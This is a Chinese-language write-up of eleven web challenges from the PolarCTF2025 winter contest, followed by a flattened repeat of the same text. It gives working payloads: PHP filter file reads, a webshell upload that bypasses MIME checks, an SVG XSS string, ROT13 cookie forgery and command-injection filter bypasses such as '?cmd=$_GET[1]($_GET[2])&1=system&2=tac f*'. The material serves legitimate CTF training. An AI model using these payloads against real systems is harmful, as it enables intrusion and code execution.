PolarCTF2025 冬季个人赛 Web方向全解
字数 1763 2025-12-08 12:12:30

PolarCTF2025冬季个人赛Web方向解题技术教学文档

题目一:不抽象的狗黑子

解题思路

  1. 信息收集:发现常规位置无flag,通过find flag命令发现flag位于/etc目录下
  2. 利用方法:使用命令cat /etc/f* > /var/www/html/1.txt将flag写入web目录

技术要点

  • Linux系统文件路径探索技巧
  • 权限利用与文件操作

题目二:狗黑子的跳转

解题步骤

  1. JS绕过:禁用JavaScript后点击进入
  2. 参数分析:发现/ghzgouheizi.php?gou=ghzgouheizi.php存在文件读取功能
  3. 源码获取:使用PHP过滤器读取源码:
    /ghzgouheizi.php?gou=php://filter/read=convert.base64-encode/resource=ghzgouheizi.php
    

代码分析

<?php
// 关键安全漏洞:仅检测MIME类型
$allowedTypes = ['image/jpeg', 'image/png', 'image/gif'];
if (!in_array($file['type'], $allowedTypes)) {
    die("只允许上传图片文件!");
}

// 文件命名机制:base64+md5编码
$base64Name = base64_encode($originalName);
$md5Name = md5($base64Name);
$filename = $md5Name . '.' . $ext;

攻击方法

  1. 上传Webshell(一句话木马)
  2. 抓包修改MIME类型为image/jpeg
  3. 根据编码规则计算文件名访问路径

题目三:来个弹窗2.0

解题过程

  1. XSS绕过:使用<svg onload=alert('XSS')>绕过过滤
  2. 信息获取:弹窗后获得提示,flag为角色名的MD5值
  3. 角色识别:搜索"背后的盆暮"获得角色名
  4. MD5计算:对角色名进行MD5哈希得到flag

技术要点

  • SVG标签的XSS利用
  • 信息收集与密码学基础应用

题目四:aa

代码分析

<?php
$rawX = 'NjU0Nw==';        // base64编码
$rawY = '123';             // 原始字符串
$rawZ = '17%2B8';          // URL编码

function decodeX($value) {
    return intval(base64_decode($value));  // 6547
}

function processY($value) {
    $reversed = strrev($value);            // "321"
    $md5Result = md5($reversed);           // MD5哈希
    return substr($md5Result, 0, 8);       // 取前8位
}

function decodeZ($value) {
    $decoded = urldecode($value);          // "17+8"
    return eval("return $decoded;");       // 执行数学运算
}

计算过程

  1. X = 6547(base64解码)
  2. Y = MD5("321")前8位
  3. Z = 17+8 = 25
  4. flag = X + Y + Z

题目五:help

解题方法

  1. 前端代码分析:每关调用特定函数
  2. 函数追踪:控制台执行函数名(不带括号)
  3. 源码查看:使用开发者工具跳转到函数定义
  4. 答案获取:从源码中提取答案
  5. flag生成:提交答案获得base64编码,解码得flag

题目六:cookie欺骗2.0

技术分析

  1. 认证机制:cookie中auth字段为user字段的ROT13编码
  2. 权限提升
    • 原始:user="user", auth="hfre"
    • 修改:user="admin", auth="nqzva"(admin的ROT13)
  3. 访问控制:修改cookie后访问flag.php获得权限

题目七:uii

代码审计

<?php
if (isset($_GET["uii"]) && $_GET["uii"] === "Yzz") {
    echo "不正确";
    exit();
}

if (isset($_GET["uii"])) {
    $_GET["uii"] = urldecode($_GET["uii"]); 
    if ($_GET["uii"] == "Yzz") {
        echo "提交正确!!!";
        // 输出flag
    }
}
?>

绕过技巧

  • 使用URL编码:Yzz%59%7a%7a
  • 利用==松散比较与urldecode的执行顺序差异

题目八:polarflag

代码重构

<?php
$original = "flag{polar_flag_in_here}";
$ascii_codes = [117, 115, 101, 114, 110, 97, 109, 101]; // "username"

$new = "";
foreach ($ascii_codes as $code) {
    $new .= chr($code);  // "username"
}

function replaceString($original, $new) {
    $temp = str_replace("flag{", "the_", $original);
    $temp = str_replace("polar_flag_in_here}", $new . "_is_polar", $temp);
    return $temp;  // "the_username_is_polar"
}
?>

攻击流程

  1. 密码爆破:用户名polar,密码字典爆破得6666
  2. 命令执行绕过
    preg_match('/et|echo|cat|tac|base|sh|tar|more|less|tail|nl|fl|vi|head|env|\||;|\^|\'|\]|"|<|>|`|/| |\\|\*/i',$_GET["polar"])
    
  3. 空格绕过:使用%09(Tab)替代空格
  4. 文件读取sort%09po???????使用通配符匹配文件名

题目九:论坛

漏洞利用

  1. 前端修改:修改图片class为btn触发功能
  2. 代码审计
    $rce = @$_REQUEST['cmd'];
    $filter_result = safe_filter($rce);
    $safe_rce = $filter_result['data'];
    eval("var_dump($safe_rce);");
    
  3. 命令拼接?cmd=$_GET[1]($_GET[2])&1=system&2=tac f*

题目十:PolarShop

解题步骤

  1. 分数修改:抓包修改购买分数参数
  2. 目录扫描:发现admin.php
  3. 密码爆破:用户名Squirtle,密码文件shop_bill.txt,爆破得5qu1rtle
  4. cookie伪造:修改cookie中user值为Squirtle访问secret

题目十一:金币大挑战

综合利用

  1. 前端绕过:抓包修改金币数到21
  2. 路由发现:获得forum_polarCTF.php路径
  3. 压缩包破解:密码爆破获得文件内容Squirtle1170
  4. 后门利用:访问uploads/Squirtle.php,参数Squirtle1170执行命令

通用技术总结

文件包含漏洞

  • PHP过滤器利用:php://filter/read=convert.base64-encode/resource=
  • 本地文件包含路径遍历

上传绕过技术

  • MIME类型检测绕过
  • 文件扩展名处理漏洞

认证绕过

  • Cookie操作与编码识别(ROT13)
  • Session伪造

代码执行绕过

  • 命令注入过滤绕过(%09替代空格)
  • 参数污染与函数动态调用

信息收集技巧

  • 目录扫描与敏感文件发现
  • 源码泄露与代码审计
  • 前端代码分析与JS调试

本教学文档详细记录了PolarCTF2025冬季个人赛Web方向的完整解题思路和技术要点,可作为CTFWeb方向学习的参考资料。

PolarCTF2025冬季个人赛Web方向解题技术教学文档 题目一:不抽象的狗黑子 解题思路 信息收集 :发现常规位置无flag,通过 find flag 命令发现flag位于 /etc 目录下 利用方法 :使用命令 cat /etc/f* > /var/www/html/1.txt 将flag写入web目录 技术要点 Linux系统文件路径探索技巧 权限利用与文件操作 题目二:狗黑子的跳转 解题步骤 JS绕过 :禁用JavaScript后点击进入 参数分析 :发现 /ghzgouheizi.php?gou=ghzgouheizi.php 存在文件读取功能 源码获取 :使用PHP过滤器读取源码: 代码分析 攻击方法 上传Webshell(一句话木马) 抓包修改MIME类型为 image/jpeg 根据编码规则计算文件名访问路径 题目三:来个弹窗2.0 解题过程 XSS绕过 :使用 <svg onload=alert('XSS')> 绕过过滤 信息获取 :弹窗后获得提示,flag为角色名的MD5值 角色识别 :搜索"背后的盆暮"获得角色名 MD5计算 :对角色名进行MD5哈希得到flag 技术要点 SVG标签的XSS利用 信息收集与密码学基础应用 题目四:aa 代码分析 计算过程 X = 6547(base64解码) Y = MD5("321")前8位 Z = 17+8 = 25 flag = X + Y + Z 题目五:help 解题方法 前端代码分析 :每关调用特定函数 函数追踪 :控制台执行函数名(不带括号) 源码查看 :使用开发者工具跳转到函数定义 答案获取 :从源码中提取答案 flag生成 :提交答案获得base64编码,解码得flag 题目六:cookie欺骗2.0 技术分析 认证机制 :cookie中auth字段为user字段的ROT13编码 权限提升 : 原始:user="user", auth="hfre" 修改:user="admin", auth="nqzva"(admin的ROT13) 访问控制 :修改cookie后访问flag.php获得权限 题目七:uii 代码审计 绕过技巧 使用URL编码: Yzz → %59%7a%7a 利用 == 松散比较与 urldecode 的执行顺序差异 题目八:polarflag 代码重构 攻击流程 密码爆破 :用户名polar,密码字典爆破得6666 命令执行绕过 : 空格绕过 :使用 %09 (Tab)替代空格 文件读取 : sort%09po??????? 使用通配符匹配文件名 题目九:论坛 漏洞利用 前端修改 :修改图片class为btn触发功能 代码审计 : 命令拼接 : ?cmd=$_GET[1]($_GET[2])&1=system&2=tac f* 题目十:PolarShop 解题步骤 分数修改 :抓包修改购买分数参数 目录扫描 :发现admin.php 密码爆破 :用户名Squirtle,密码文件shop_ bill.txt,爆破得5qu1rtle cookie伪造 :修改cookie中user值为Squirtle访问secret 题目十一:金币大挑战 综合利用 前端绕过 :抓包修改金币数到21 路由发现 :获得forum_ polarCTF.php路径 压缩包破解 :密码爆破获得文件内容Squirtle1170 后门利用 :访问uploads/Squirtle.php,参数Squirtle1170执行命令 通用技术总结 文件包含漏洞 PHP过滤器利用: php://filter/read=convert.base64-encode/resource= 本地文件包含路径遍历 上传绕过技术 MIME类型检测绕过 文件扩展名处理漏洞 认证绕过 Cookie操作与编码识别(ROT13) Session伪造 代码执行绕过 命令注入过滤绕过(%09替代空格) 参数污染与函数动态调用 信息收集技巧 目录扫描与敏感文件发现 源码泄露与代码审计 前端代码分析与JS调试 本教学文档详细记录了PolarCTF2025冬季个人赛Web方向的完整解题思路和技术要点,可作为CTFWeb方向学习的参考资料。